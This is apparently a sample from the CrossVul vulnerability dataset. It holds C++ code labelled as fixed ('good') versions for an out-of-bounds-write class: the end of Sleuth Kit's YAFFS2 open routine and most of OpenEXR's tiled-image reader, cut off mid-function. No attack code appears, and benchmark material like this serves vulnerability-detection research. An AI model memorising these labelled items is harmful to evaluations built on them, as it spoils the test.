yaffs2_open(TSK_IMG_INFO * img_info, TSK_OFF_T offset, TSK_FS_TYPE_ENUM ftype, uint8_t test) { YAFFSFS_INFO *yaffsfs = NULL; TSK_FS_INFO *fs = NULL; const unsigned int psize = img_info->page_size; const unsigned int ssize = img_info->spare_size; YaffsHeader * first_header = NULL; TSK_FS_DIR *test_dir; std::map<std::string, std::string> configParams; YAFFS_CONFIG_STATUS config_file_status; // clean up any error messages that are lying around tsk_error_reset(); if (TSK_FS_TYPE_ISYAFFS2(ftype) == 0) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("Invalid FS Type in yaffsfs_open"); return NULL; } if (img_info->sector_size == 0) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("yaffs2_open: sector size is 0"); return NULL; } if ((yaffsfs = (YAFFSFS_INFO *) tsk_fs_malloc(sizeof(YAFFSFS_INFO))) == NULL) return NULL; yaffsfs->cache_objects = NULL; yaffsfs->chunkMap = NULL; fs = &(yaffsfs->fs_info); fs->tag = TSK_FS_INFO_TAG; fs->ftype = ftype; fs->flags = (TSK_FS_INFO_FLAG_ENUM)0; fs->img_info = img_info; fs->offset = offset; fs->endian = TSK_LIT_ENDIAN; // Read config file (if it exists) config_file_status = yaffs_load_config_file(img_info, configParams); // BL-6929(JTS): When using external readers, this call will fail. // Not having a config should not be a fatal error. /*if(config_file_status == YAFFS_CONFIG_ERROR){ // tsk_error was set by yaffs_load_config goto on_error; } else*/ if(config_file_status == YAFFS_CONFIG_OK){ // Validate the input // If it fails validation, return (tsk_error will be set up already) if(1 == yaffs_validate_config_file(configParams)){ goto on_error; } } // If we read these fields from the config file, use those values. Otherwise use the defaults if(configParams.find(YAFFS_CONFIG_PAGE_SIZE_STR) != configParams.end()){ yaffsfs->page_size = atoi(configParams[YAFFS_CONFIG_PAGE_SIZE_STR].c_str()); } else{ yaffsfs->page_size = psize == 0 ? YAFFS_DEFAULT_PAGE_SIZE : psize; } if(configParams.find(YAFFS_CONFIG_SPARE_SIZE_STR) != configParams.end()){ yaffsfs->spare_size = atoi(configParams[YAFFS_CONFIG_SPARE_SIZE_STR].c_str()); } else{ yaffsfs->spare_size = ssize == 0 ? YAFFS_DEFAULT_SPARE_SIZE : ssize; } if(configParams.find(YAFFS_CONFIG_CHUNKS_PER_BLOCK_STR) != configParams.end()){ yaffsfs->chunks_per_block = atoi(configParams[YAFFS_CONFIG_CHUNKS_PER_BLOCK_STR].c_str()); } else{ yaffsfs->chunks_per_block = 64; } // TODO: Why are 2 different memory allocation methods used in the same code? // This makes things unnecessary complex. yaffsfs->max_obj_id = 1; yaffsfs->max_version = 0; // Keep track of whether we're doing auto-detection of the file system if(test){ yaffsfs->autoDetect = 1; } else{ yaffsfs->autoDetect = 0; } // Determine the layout of the spare area // If it was specified in the config file, use those values. Otherwise do the auto-detection if(configParams.find(YAFFS_CONFIG_SEQ_NUM_STR) != configParams.end()){ // In the validation step, we ensured that if one of the offsets was set, we have all of them yaffsfs->spare_seq_offset = atoi(configParams[YAFFS_CONFIG_SEQ_NUM_STR].c_str()); yaffsfs->spare_obj_id_offset = atoi(configParams[YAFFS_CONFIG_OBJ_ID_STR].c_str()); yaffsfs->spare_chunk_id_offset = atoi(configParams[YAFFS_CONFIG_CHUNK_ID_STR].c_str()); // Check that the offsets are valid for the given spare area size (fields are 4 bytes long) if((yaffsfs->spare_seq_offset + 4 > yaffsfs->spare_size) || (yaffsfs->spare_obj_id_offset + 4 > yaffsfs->spare_size) || (yaffsfs->spare_chunk_id_offset + 4 > yaffsfs->spare_size)){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr("yaffs2_open: Offset(s) in config file too large for spare area (size %d). %s", yaffsfs->spare_size, YAFFS_HELP_MESSAGE); goto on_error; } // nBytes isn't currently used, so just set to zero yaffsfs->spare_nbytes_offset = 0; } else{ // Decide how many blocks to test. If we're not doing auto-detection, set to zero (no limit) unsigned int maxBlocksToTest; if(yaffsfs->autoDetect){ maxBlocksToTest = YAFFS_DEFAULT_MAX_TEST_BLOCKS; } else{ maxBlocksToTest = 0; } if(yaffs_initialize_spare_format(yaffsfs, maxBlocksToTest) != TSK_OK){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_MAGIC); tsk_error_set_errstr("not a YAFFS file system (bad spare format). %s", YAFFS_HELP_MESSAGE); if (tsk_verbose) fprintf(stderr, "yaffsfs_open: could not find valid spare area format\n%s\n", YAFFS_HELP_MESSAGE); goto on_error; } } /* * Read the first record, make sure it's a valid header... * * Used for verification and autodetection of * the FS type. */ if (yaffsfs_read_header(yaffsfs, &first_header, 0)) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_MAGIC); tsk_error_set_errstr("not a YAFFS file system (first record). %s", YAFFS_HELP_MESSAGE); if (tsk_verbose) fprintf(stderr, "yaffsfs_open: invalid first record\n%s\n", YAFFS_HELP_MESSAGE); goto on_error; } free(first_header); first_header = NULL; fs->duname = "Chunk"; /* * Calculate the meta data info */ //fs->last_inum = 0xffffffff; // Will update this as we go fs->last_inum = 0; fs->root_inum = YAFFS_OBJECT_ROOT; fs->first_inum = YAFFS_OBJECT_FIRST; //fs->inum_count = fs->last_inum; // For now this will be the last_inum - 1 (after we calculate it) /* * Calculate the block info */ fs->dev_bsize = img_info->sector_size; fs->block_size = yaffsfs->page_size; fs->block_pre_size = 0; fs->block_post_size = yaffsfs->spare_size; fs->block_count = img_info->size / (fs->block_pre_size + fs->block_size + fs->block_post_size); fs->first_block = 0; fs->last_block_act = fs->last_block = fs->block_count ? fs->block_count - 1 : 0; /* Set the generic function pointers */ fs->inode_walk = yaffsfs_inode_walk; fs->block_walk = yaffsfs_block_walk; fs->block_getflags = yaffsfs_block_getflags; fs->get_default_attr_type = yaffsfs_get_default_attr_type; fs->load_attrs = yaffsfs_load_attrs; fs->file_add_meta = yaffs_inode_lookup; fs->dir_open_meta = yaffsfs_dir_open_meta; fs->fsstat = yaffsfs_fsstat; fs->fscheck = yaffsfs_fscheck; fs->istat = yaffsfs_istat; fs->name_cmp = tsk_fs_unix_name_cmp; fs->close = yaffsfs_close; /* Journal */ fs->jblk_walk = yaffsfs_jblk_walk; fs->jentry_walk = yaffsfs_jentry_walk; fs->jopen = yaffsfs_jopen; /* Initialize the caches */ if (tsk_verbose) fprintf(stderr, "yaffsfs_open: building cache...\n"); /* Build cache */ /* NOTE: The only modifications to the cache happen here, during at * the open. Should be fine with no lock, even if access to the * cache is shared among threads. */ //tsk_init_lock(&yaffsfs->lock); yaffsfs->chunkMap = new std::map<uint32_t, YaffsCacheChunkGroup>; if (TSK_OK != yaffsfs_parse_image_load_cache(yaffsfs)) { goto on_error; } if (tsk_verbose) { fprintf(stderr, "yaffsfs_open: done building cache!\n"); //yaffscache_objects_dump(yaffsfs, stderr); } // Update the number of inums now that we've read in the file system fs->inum_count = fs->last_inum - 1; test_dir = tsk_fs_dir_open_meta(fs, fs->root_inum); if (test_dir == NULL) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_MAGIC); tsk_error_set_errstr("not a YAFFS file system (no root directory). %s", YAFFS_HELP_MESSAGE); if (tsk_verbose) fprintf(stderr, "yaffsfs_open: invalid file system\n%s\n", YAFFS_HELP_MESSAGE); goto on_error; } tsk_fs_dir_close(test_dir); return fs; on_error: // yaffsfs_close frees all the cache objects yaffsfs_close(fs); return NULL; }
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_3866_0
crossvul-cpp_data_good_4245_0
/////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// //----------------------------------------------------------------------------- // // class TiledInputFile // //----------------------------------------------------------------------------- #include "ImfTiledInputFile.h" #include "ImfTileDescriptionAttribute.h" #include "ImfChannelList.h" #include "ImfMisc.h" #include "ImfTiledMisc.h" #include "ImfStdIO.h" #include "ImfCompressor.h" #include "ImfXdr.h" #include "ImfConvert.h" #include "ImfVersion.h" #include "ImfTileOffsets.h" #include "ImfThreading.h" #include "ImfPartType.h" #include "ImfMultiPartInputFile.h" #include "ImfInputStreamMutex.h" #include "IlmThreadPool.h" #include "IlmThreadSemaphore.h" #include "IlmThreadMutex.h" #include "ImathVec.h" #include "Iex.h" #include <string> #include <vector> #include <algorithm> #include <assert.h> #include "ImfInputPartData.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_ENTER using IMATH_NAMESPACE::Box2i; using IMATH_NAMESPACE::V2i; using std::string; using std::vector; using std::min; using std::max; using ILMTHREAD_NAMESPACE::Mutex; using ILMTHREAD_NAMESPACE::Lock; using ILMTHREAD_NAMESPACE::Semaphore; using ILMTHREAD_NAMESPACE::Task; using ILMTHREAD_NAMESPACE::TaskGroup; using ILMTHREAD_NAMESPACE::ThreadPool; namespace { struct TInSliceInfo { PixelType typeInFrameBuffer; PixelType typeInFile; char * base; size_t xStride; size_t yStride; bool fill; bool skip; double fillValue; int xTileCoords; int yTileCoords; TInSliceInfo (PixelType typeInFrameBuffer = HALF, PixelType typeInFile = HALF, char *base = 0, size_t xStride = 0, size_t yStride = 0, bool fill = false, bool skip = false, double fillValue = 0.0, int xTileCoords = 0, int yTileCoords = 0); }; TInSliceInfo::TInSliceInfo (PixelType tifb, PixelType tifl, char *b, size_t xs, size_t ys, bool f, bool s, double fv, int xtc, int ytc) : typeInFrameBuffer (tifb), typeInFile (tifl), base (b), xStride (xs), yStride (ys), fill (f), skip (s), fillValue (fv), xTileCoords (xtc), yTileCoords (ytc) { // empty } struct TileBuffer { const char * uncompressedData; char * buffer; int dataSize; Compressor * compressor; Compressor::Format format; int dx; int dy; int lx; int ly; bool hasException; string exception; TileBuffer (Compressor * const comp); ~TileBuffer (); inline void wait () {_sem.wait();} inline void post () {_sem.post();} protected: Semaphore _sem; }; TileBuffer::TileBuffer (Compressor *comp): uncompressedData (0), buffer (0), dataSize (0), compressor (comp), format (defaultFormat (compressor)), dx (-1), dy (-1), lx (-1), ly (-1), hasException (false), exception (), _sem (1) { // empty } TileBuffer::~TileBuffer () { delete compressor; } } // namespace class MultiPartInputFile; // // struct TiledInputFile::Data stores things that will be // needed between calls to readTile() // struct TiledInputFile::Data: public Mutex { Header header; // the image header TileDescription tileDesc; // describes the tile layout int version; // file's version FrameBuffer frameBuffer; // framebuffer to write into LineOrder lineOrder; // the file's lineorder int minX; // data window's min x coord int maxX; // data window's max x coord int minY; // data window's min y coord int maxY; // data window's max x coord int numXLevels; // number of x levels int numYLevels; // number of y levels int * numXTiles; // number of x tiles at a level int * numYTiles; // number of y tiles at a level TileOffsets tileOffsets; // stores offsets in file for // each tile bool fileIsComplete; // True if no tiles are missing // in the file vector<TInSliceInfo> slices; // info about channels in file size_t bytesPerPixel; // size of an uncompressed pixel size_t maxBytesPerTileLine; // combined size of a line // over all channels int partNumber; // part number bool multiPartBackwardSupport; // if we are reading a multipart file // using OpenEXR 1.7 API int numThreads; // number of threads MultiPartInputFile* multiPartFile; // the MultiPartInputFile used to // support backward compatibility vector<TileBuffer*> tileBuffers; // each holds a single tile size_t tileBufferSize; // size of the tile buffers bool memoryMapped; // if the stream is memory mapped InputStreamMutex * _streamData; bool _deleteStream; Data (int numThreads); ~Data (); inline TileBuffer * getTileBuffer (int number); // hash function from tile indices // into our vector of tile buffers }; TiledInputFile::Data::Data (int numThreads): numXTiles (0), numYTiles (0), partNumber (-1), multiPartBackwardSupport(false), numThreads(numThreads), memoryMapped(false), _streamData(NULL), _deleteStream(false) { // // We need at least one tileBuffer, but if threading is used, // to keep n threads busy we need 2*n tileBuffers // tileBuffers.resize (max (1, 2 * numThreads)); } TiledInputFile::Data::~Data () { delete [] numXTiles; delete [] numYTiles; for (size_t i = 0; i < tileBuffers.size(); i++) delete tileBuffers[i]; if (multiPartBackwardSupport) delete multiPartFile; } TileBuffer* TiledInputFile::Data::getTileBuffer (int number) { return tileBuffers[number % tileBuffers.size()]; } namespace { void readTileData (InputStreamMutex *streamData, TiledInputFile::Data *ifd, int dx, int dy, int lx, int ly, char *&buffer, int &dataSize) { // // Read a single tile block from the file and into the array pointed // to by buffer. If the file is memory-mapped, then we change where // buffer points instead of writing into the array (hence buffer needs // to be a reference to a char *). // // // Look up the location for this tile in the Index and // seek to that position if necessary // Int64 tileOffset = ifd->tileOffsets (dx, dy, lx, ly); if (tileOffset == 0) { THROW (IEX_NAMESPACE::InputExc, "Tile (" << dx << ", " << dy << ", " << lx << ", " << ly << ") is missing."); } // // In a multi-part file, the next chunk does not need to // belong to the same part, so we have to compare the // offset here. // if (!isMultiPart(ifd->version)) { if (streamData->currentPosition != tileOffset) streamData->is->seekg (tileOffset); } else { // // In a multi-part file, the file pointer may be moved by other // parts, so we have to ask tellg() where we are. // if (streamData->is->tellg() != tileOffset) streamData->is->seekg (tileOffset); } // // Read the first few bytes of the tile (the header). // Verify that the tile coordinates and the level number // are correct. // int tileXCoord, tileYCoord, levelX, levelY; if (isMultiPart(ifd->version)) { int partNumber; Xdr::read <StreamIO> (*streamData->is, partNumber); if (partNumber != ifd->partNumber) { THROW (IEX_NAMESPACE::ArgExc, "Unexpected part number " << partNumber << ", should be " << ifd->partNumber << "."); } } OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, tileXCoord); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, tileYCoord); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, levelX); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, levelY); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, dataSize); if (tileXCoord != dx) throw IEX_NAMESPACE::InputExc ("Unexpected tile x coordinate."); if (tileYCoord != dy) throw IEX_NAMESPACE::InputExc ("Unexpected tile y coordinate."); if (levelX != lx) throw IEX_NAMESPACE::InputExc ("Unexpected tile x level number coordinate."); if (levelY != ly) throw IEX_NAMESPACE::InputExc ("Unexpected tile y level number coordinate."); if (dataSize < 0 || dataSize > static_cast<int>(ifd->tileBufferSize) ) throw IEX_NAMESPACE::InputExc ("Unexpected tile block length."); // // Read the pixel data. // if (streamData->is->isMemoryMapped ()) buffer = streamData->is->readMemoryMapped (dataSize); else streamData->is->read (buffer, dataSize); // // Keep track of which tile is the next one in // the file, so that we can avoid redundant seekg() // operations (seekg() can be fairly expensive). // streamData->currentPosition = tileOffset + 5 * Xdr::size<int>() + dataSize; } void readNextTileData (InputStreamMutex *streamData, TiledInputFile::Data *ifd, int &dx, int &dy, int &lx, int &ly, char * & buffer, int &dataSize) { // // Read the next tile block from the file // if(isMultiPart(ifd->version)) { int part; Xdr::read <StreamIO> (*streamData->is, part); if(part!=ifd->partNumber) { throw IEX_NAMESPACE::InputExc("Unexpected part number in readNextTileData"); } } // // Read the first few bytes of the tile (the header). // Xdr::read <StreamIO> (*streamData->is, dx); Xdr::read <StreamIO> (*streamData->is, dy); Xdr::read <StreamIO> (*streamData->is, lx); Xdr::read <StreamIO> (*streamData->is, ly); Xdr::read <StreamIO> (*streamData->is, dataSize); if (dataSize > (int) ifd->tileBufferSize) throw IEX_NAMESPACE::InputExc ("Unexpected tile block length."); // // Read the pixel data. // streamData->is->read (buffer, dataSize); // // Keep track of which tile is the next one in // the file, so that we can avoid redundant seekg() // operations (seekg() can be fairly expensive). // streamData->currentPosition += 5 * Xdr::size<int>() + dataSize; } // // A TileBufferTask encapsulates the task of uncompressing // a single tile and copying it into the frame buffer. // class TileBufferTask : public Task { public: TileBufferTask (TaskGroup *group, TiledInputFile::Data *ifd, TileBuffer *tileBuffer); virtual ~TileBufferTask (); virtual void execute (); private: TiledInputFile::Data * _ifd; TileBuffer * _tileBuffer; }; TileBufferTask::TileBufferTask (TaskGroup *group, TiledInputFile::Data *ifd, TileBuffer *tileBuffer) : Task (group), _ifd (ifd), _tileBuffer (tileBuffer) { // empty } TileBufferTask::~TileBufferTask () { // // Signal that the tile buffer is now free // _tileBuffer->post (); } void TileBufferTask::execute () { try { // // Calculate information about the tile // Box2i tileRange = OPENEXR_IMF_INTERNAL_NAMESPACE::dataWindowForTile ( _ifd->tileDesc, _ifd->minX, _ifd->maxX, _ifd->minY, _ifd->maxY, _tileBuffer->dx, _tileBuffer->dy, _tileBuffer->lx, _tileBuffer->ly); int numPixelsPerScanLine = tileRange.max.x - tileRange.min.x + 1; int numPixelsInTile = numPixelsPerScanLine * (tileRange.max.y - tileRange.min.y + 1); int sizeOfTile = _ifd->bytesPerPixel * numPixelsInTile; // // Uncompress the data, if necessary // if (_tileBuffer->compressor && _tileBuffer->dataSize < sizeOfTile) { _tileBuffer->format = _tileBuffer->compressor->format(); _tileBuffer->dataSize = _tileBuffer->compressor->uncompressTile (_tileBuffer->buffer, _tileBuffer->dataSize, tileRange, _tileBuffer->uncompressedData); } else { // // If the line is uncompressed, it's in XDR format, // regardless of the compressor's output format. // _tileBuffer->format = Compressor::XDR; _tileBuffer->uncompressedData = _tileBuffer->buffer; } // // Convert the tile of pixel data back from the machine-independent // representation, and store the result in the frame buffer. // const char *readPtr = _tileBuffer->uncompressedData; // points to where we // read from in the // tile block // // Iterate over the scan lines in the tile. // for (int y = tileRange.min.y; y <= tileRange.max.y; ++y) { // // Iterate over all image channels. // for (unsigned int i = 0; i < _ifd->slices.size(); ++i) { const TInSliceInfo &slice = _ifd->slices[i]; // // These offsets are used to facilitate both // absolute and tile-relative pixel coordinates. // int xOffset = slice.xTileCoords * tileRange.min.x; int yOffset = slice.yTileCoords * tileRange.min.y; // // Fill the frame buffer with pixel data. // if (slice.skip) { // // The file contains data for this channel, but // the frame buffer contains no slice for this channel. // skipChannel (readPtr, slice.typeInFile, numPixelsPerScanLine); } else { // // The frame buffer contains a slice for this channel. // char *writePtr = slice.base + (y - yOffset) * slice.yStride + (tileRange.min.x - xOffset) * slice.xStride; char *endPtr = writePtr + (numPixelsPerScanLine - 1) * slice.xStride; copyIntoFrameBuffer (readPtr, writePtr, endPtr, slice.xStride, slice.fill, slice.fillValue, _tileBuffer->format, slice.typeInFrameBuffer, slice.typeInFile); } } } } catch (std::exception &e) { if (!_tileBuffer->hasException) { _tileBuffer->exception = e.what (); _tileBuffer->hasException = true; } } catch (...) { if (!_tileBuffer->hasException) { _tileBuffer->exception = "unrecognized exception"; _tileBuffer->hasException = true; } } } TileBufferTask * newTileBufferTask (TaskGroup *group, InputStreamMutex *streamData, TiledInputFile::Data *ifd, int number, int dx, int dy, int lx, int ly) { // // Wait for a tile buffer to become available, // fill the buffer with raw data from the file, // and create a new TileBufferTask whose execute() // method will uncompress the tile and copy the // tile's pixels into the frame buffer. // TileBuffer *tileBuffer = ifd->getTileBuffer (number); try { tileBuffer->wait(); tileBuffer->dx = dx; tileBuffer->dy = dy; tileBuffer->lx = lx; tileBuffer->ly = ly; tileBuffer->uncompressedData = 0; readTileData (streamData, ifd, dx, dy, lx, ly, tileBuffer->buffer, tileBuffer->dataSize); } catch (...) { // // Reading from the file caused an exception. // Signal that the tile buffer is free, and // re-throw the exception. // tileBuffer->post(); throw; } return new TileBufferTask (group, ifd, tileBuffer); } } // namespace TiledInputFile::TiledInputFile (const char fileName[], int numThreads): _data (new Data (numThreads)) { _data->_streamData=NULL; _data->_deleteStream=true; // // This constructor is called when a user // explicitly wants to read a tiled file. // IStream* is = 0; try { is = new StdIFStream (fileName); readMagicNumberAndVersionField(*is, _data->version); // // Backward compatibility to read multpart file. // if (isMultiPart(_data->version)) { compatibilityInitialize(*is); return; } _data->_streamData = new InputStreamMutex(); _data->_streamData->is = is; _data->header.readFrom (*_data->_streamData->is, _data->version); initialize(); //read tile offsets - we are not multipart or deep _data->tileOffsets.readFrom (*(_data->_streamData->is), _data->fileIsComplete,false,false); _data->_streamData->currentPosition = _data->_streamData->is->tellg(); } catch (IEX_NAMESPACE::BaseExc &e) { if (_data->_streamData != 0) { if (_data->_streamData->is != 0) { delete _data->_streamData->is; _data->_streamData->is = is = 0; } delete _data->_streamData; } if (is != 0) delete is; REPLACE_EXC (e, "Cannot open image file " "\"" << fileName << "\". " << e.what()); throw; } catch (...) { if ( _data->_streamData != 0) { if ( _data->_streamData->is != 0) { delete _data->_streamData->is; _data->_streamData->is = is = 0; } delete _data->_streamData; } if (is != 0) delete is; throw; } } TiledInputFile::TiledInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int numThreads): _data (new Data (numThreads)) { _data->_deleteStream=false; // // This constructor is called when a user // explicitly wants to read a tiled file. // bool streamDataCreated = false; try { readMagicNumberAndVersionField(is, _data->version); // // Backward compatibility to read multpart file. // if (isMultiPart(_data->version)) { compatibilityInitialize(is); return; } streamDataCreated = true; _data->_streamData = new InputStreamMutex(); _data->_streamData->is = &is; _data->header.readFrom (*_data->_streamData->is, _data->version); initialize(); // file is guaranteed to be single part, regular image _data->tileOffsets.readFrom (*(_data->_streamData->is), _data->fileIsComplete,false,false); _data->memoryMapped = _data->_streamData->is->isMemoryMapped(); _data->_streamData->currentPosition = _data->_streamData->is->tellg(); } catch (IEX_NAMESPACE::BaseExc &e) { if (streamDataCreated) delete _data->_streamData; delete _data; REPLACE_EXC (e, "Cannot open image file " "\"" << is.fileName() << "\". " << e.what()); throw; } catch (...) { if (streamDataCreated) delete _data->_streamData; delete _data; throw; } } TiledInputFile::TiledInputFile (const Header &header, OPENEXR_IMF_INTERNAL_NAMESPACE::IStream *is, int version, int numThreads) : _data (new Data (numThreads)) { _data->_deleteStream=false; _data->_streamData = new InputStreamMutex(); // // This constructor called by class Imf::InputFile // when a user wants to just read an image file, and // doesn't care or know if the file is tiled. // No need to have backward compatibility here, because // we have somehow got the header. // _data->_streamData->is = is; _data->header = header; _data->version = version; initialize(); _data->tileOffsets.readFrom (*(_data->_streamData->is),_data->fileIsComplete,false,false); _data->memoryMapped = is->isMemoryMapped(); _data->_streamData->currentPosition = _data->_streamData->is->tellg(); } TiledInputFile::TiledInputFile (InputPartData* part) { _data = new Data (part->numThreads); _data->_deleteStream=false; multiPartInitialize(part); } void TiledInputFile::compatibilityInitialize(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is) { is.seekg(0); // // Construct a MultiPartInputFile, initialize TiledInputFile // with the part 0 data. // (TODO) maybe change the third parameter of the constructor of MultiPartInputFile later. // _data->multiPartBackwardSupport = true; _data->multiPartFile = new MultiPartInputFile(is, _data->numThreads); InputPartData* part = _data->multiPartFile->getPart(0); multiPartInitialize(part); } void TiledInputFile::multiPartInitialize(InputPartData* part) { if (part->header.type() != TILEDIMAGE) throw IEX_NAMESPACE::ArgExc("Can't build a TiledInputFile from a type-mismatched part."); _data->_streamData = part->mutex; _data->header = part->header; _data->version = part->version; _data->partNumber = part->partNumber; _data->memoryMapped = _data->_streamData->is->isMemoryMapped(); initialize(); _data->tileOffsets.readFrom(part->chunkOffsets,_data->fileIsComplete); _data->_streamData->currentPosition = _data->_streamData->is->tellg(); } void TiledInputFile::initialize () { // fix bad types in header (arises when a tool built against an older version of // OpenEXR converts a scanline image to tiled) // only applies when file is a single part, regular image, tiled file // if(!isMultiPart(_data->version) && !isNonImage(_data->version) && isTiled(_data->version) && _data->header.hasType() ) { _data->header.setType(TILEDIMAGE); } if (_data->partNumber == -1) { if (!isTiled (_data->version)) throw IEX_NAMESPACE::ArgExc ("Expected a tiled file but the file is not tiled."); } else { if(_data->header.hasType() && _data->header.type()!=TILEDIMAGE) { throw IEX_NAMESPACE::ArgExc ("TiledInputFile used for non-tiledimage part."); } } _data->header.sanityCheck (true); _data->tileDesc = _data->header.tileDescription(); _data->lineOrder = _data->header.lineOrder(); // // Save the dataWindow information // const Box2i &dataWindow = _data->header.dataWindow(); _data->minX = dataWindow.min.x; _data->maxX = dataWindow.max.x; _data->minY = dataWindow.min.y; _data->maxY = dataWindow.max.y; // // Precompute level and tile information to speed up utility functions // precalculateTileInfo (_data->tileDesc, _data->minX, _data->maxX, _data->minY, _data->maxY, _data->numXTiles, _data->numYTiles, _data->numXLevels, _data->numYLevels); _data->bytesPerPixel = calculateBytesPerPixel (_data->header); _data->maxBytesPerTileLine = _data->bytesPerPixel * _data->tileDesc.xSize; _data->tileBufferSize = _data->maxBytesPerTileLine * _data->tileDesc.ySize; // // Create all the TileBuffers and allocate their internal buffers // for (size_t i = 0; i < _data->tileBuffers.size(); i++) { _data->tileBuffers[i] = new TileBuffer (newTileCompressor (_data->header.compression(), _data->maxBytesPerTileLine, _data->tileDesc.ySize, _data->header)); if (!_data->_streamData->is->isMemoryMapped ()) _data->tileBuffers[i]->buffer = new char [_data->tileBufferSize]; } _data->tileOffsets = TileOffsets (_data->tileDesc.mode, _data->numXLevels, _data->numYLevels, _data->numXTiles, _data->numYTiles); } TiledInputFile::~TiledInputFile () { if (!_data->memoryMapped) for (size_t i = 0; i < _data->tileBuffers.size(); i++) delete [] _data->tileBuffers[i]->buffer; if (_data->_deleteStream) delete _data->_streamData->is; if (_data->partNumber == -1) delete _data->_streamData; delete _data; } const char * TiledInputFile::fileName () const { return _data->_streamData->is->fileName(); } const Header & TiledInputFile::header () const { return _data->header; } int TiledInputFile::version () const { return _data->version; } void TiledInputFile::setFrameBuffer (const FrameBuffer &frameBuffer) { Lock lock (*_data->_streamData); // // Set the frame buffer // // // Check if the new frame buffer descriptor is // compatible with the image file header. // const ChannelList &channels = _data->header.channels(); for (FrameBuffer::ConstIterator j = frameBuffer.begin(); j != frameBuffer.end(); ++j) { ChannelList::ConstIterator i = channels.find (j.name()); if (i == channels.end()) continue; if (i.channel().xSampling != j.slice().xSampling || i.channel().ySampling != j.slice().ySampling) THROW (IEX_NAMESPACE::ArgExc, "X and/or y subsampling factors " "of \"" << i.name() << "\" channel " "of input file \"" << fileName() << "\" are " "not compatible with the frame buffer's " "subsampling factors."); } // // Initialize the slice table for readPixels(). // vector<TInSliceInfo> slices; ChannelList::ConstIterator i = channels.begin(); for (FrameBuffer::ConstIterator j = frameBuffer.begin(); j != frameBuffer.end(); ++j) { while (i != channels.end() && strcmp (i.name(), j.name()) < 0) { // // Channel i is present in the file but not // in the frame buffer; data for channel i // will be skipped during readPixels(). // slices.push_back (TInSliceInfo (i.channel().type, i.channel().type, 0, // base 0, // xStride 0, // yStride false, // fill true, // skip 0.0)); // fillValue ++i; } bool fill = false; if (i == channels.end() || strcmp (i.name(), j.name()) > 0) { // // Channel i is present in the frame buffer, but not in the file. // In the frame buffer, slice j will be filled with a default value. // fill = true; } slices.push_back (TInSliceInfo (j.slice().type, fill? j.slice().type: i.channel().type, j.slice().base, j.slice().xStride, j.slice().yStride, fill, false, // skip j.slice().fillValue, (j.slice().xTileCoords)? 1: 0, (j.slice().yTileCoords)? 1: 0)); if (i != channels.end() && !fill) ++i; } while (i != channels.end()) { // // Channel i is present in the file but not // in the frame buffer; data for channel i // will be skipped during readPixels(). // slices.push_back (TInSliceInfo (i.channel().type, i.channel().type, 0, // base 0, // xStride 0, // yStride false, // fill true, // skip 0.0)); // fillValue ++i; } // // Store the new frame buffer. // _data->frameBuffer = frameBuffer; _data->slices = slices; } const FrameBuffer & TiledInputFile::frameBuffer () const { Lock lock (*_data->_streamData); return _data->frameBuffer; } bool TiledInputFile::isComplete () const { return _data->fileIsComplete; } void TiledInputFile::readTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly) { // // Read a range of tiles from the file into the framebuffer // try { Lock lock (*_data->_streamData); if (_data->slices.size() == 0) throw IEX_NAMESPACE::ArgExc ("No frame buffer specified " "as pixel data destination."); if (!isValidLevel (lx, ly)) THROW (IEX_NAMESPACE::ArgExc, "Level coordinate " "(" << lx << ", " << ly << ") " "is invalid."); // // Determine the first and last tile coordinates in both dimensions. // We always attempt to read the range of tiles in the order that // they are stored in the file. // if (dx1 > dx2) std::swap (dx1, dx2); if (dy1 > dy2) std::swap 